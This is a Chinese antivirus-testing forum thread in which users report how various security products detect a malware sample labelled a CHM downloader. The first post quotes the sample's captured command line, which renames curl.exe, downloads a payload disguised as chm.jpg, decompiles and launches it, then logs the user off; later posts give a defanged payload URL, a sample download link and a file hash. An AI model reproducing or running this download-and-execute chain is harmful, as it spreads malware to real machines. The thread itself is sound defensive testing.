#CHM Downloader 1X

显示全部楼层 · 发表于 2023-4-20 16:51:26

本帖最后由 UNknownOoo 于 2023-4-20 17:20 编辑

VT 二扫：0/59

火绒扫描双击MISS ALL

防护项目：命令行注销系统
执行文件：C:\Windows\System32\logoff.exe
执行命令行：logoff
操作结果：结束进程

进程ID：2196
操作进程：C:\Windows\System32\cmd.exe
操作进程命令行：cmd /c copy C:\windows\System32\curl.exe C:\Users\Public\Documents\Url.exe&DeviceCredentialDeployment&TASKKILL /F /IM hh.exe&start https://game.163.com&C:\Users\Public\Documents\Url.exe

-o C:\Users\Public\Documents\chm.jpg&hh -decompile C://Users//Public//Documents C://Users//Public//Documents//chm.jpg&ping 127.0.0.1 -n 1 >nul&START C:\Users\Public\Documents\jpg.lnk&ping 127.0.0.1 -n 180 >nul&logoff
父进程ID：5168
父进程：C:\Windows\System32\conhost.exe
父进程命令行："C:\Windows\System32\conhost.exe" cmd /c copy C:\windows\System32\curl.exe C:\Users\Public\Documents\Url.exe&DeviceCredentialDeployment&TASKKILL /F /IM hh.exe&start https://game.163.com&C:\Users\Public\Documents\Url.exe

-o C:\Users\Public\Documents\chm.jpg&hh -decompile C://Users//Public//Documents C://Users//Public//Documents//chm.jpg&ping 127.0.0.1 -n 1 >nul&START C:\Users\Public\Documents\jpg.lnk&ping 127.0.0.1 -n 180 >nul&logoff

相关衍生物：https://wwjw.lanzoum.com/infEY0tik8cd

显示全部楼层 · 发表于 2023-4-20 17:07:44

https://bbs.kafan.cn/forum.php?mod=attachment&aid=MzMzNjMzMXw5NDc3YmEyYTlmNzhlYzM1YmQ0NmFkZjM5MjU3NTJkMXwxNzM1MDExNTA4&request=yes&_f=.pngattach://3336332.png

显示全部楼层 · 发表于 2023-4-20 17:22:14

天守本体扫描MISS

衍生物dll kill

其余扫描MISS

显示全部楼层 · 发表于 2023-4-20 17:25:49

本帖最后由 761773275 于 2023-4-20 17:32 编辑

BEST 执行miss

EMSISOFT miss 白加黑被骗

护士牛逼

“Lockdown”恶意行为已在 Windows 命令处理程序中被阻止

复制代码

显示全部楼层 · 发表于 2023-4-20 17:33:41

本帖最后由 UNknownOoo 于 2023-4-20 17:38 编辑

智量双击秒（衍生物都没落地

联网默认拦截（手动放行
手动运行衍生物后MEMRAY

显示全部楼层 · 发表于 2023-4-20 18:16:00

本帖最后由 dght432 于 2023-4-21 15:00 编辑

360miss

目前拉黑dll:类型:木马-Trojan.Generic
描述:木马通常利用系统的漏洞，绕过系统防御，达到：盗取账号、窃取资料、篡改文件、破坏数据的目的。经过360安全中心检验，此文件是木马，建议您立即处理。
扫描引擎:云安全引擎
文件路径:D:\360安全浏览器下载\Dropped\HWSignature.dll
文件大小:120.1K (122,950 字节)
文件版本:
文件描述:
文件指纹（MD5）:57d097e036a37ef530b8b5a1462d729b
处理建议:隔离文件

显示全部楼层 · 发表于 2023-4-20 19:00:38

卡巴opentip： HEUR:Trojan.Script.Generic

显示全部楼层 · 发表于 2023-4-20 19:02:53

衍生物来自：hxxp://juechen.ddo.jp/chm/buyu/chm.jpg

显示全部楼层 · 发表于 2023-4-20 20:38:35

eset扫描miss

显示全部楼层 · 发表于 2023-4-20 20:51:01

毒霸扫描miss

[病毒样本] #CHM Downloader 1X

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

评分

本帖子中包含更多资源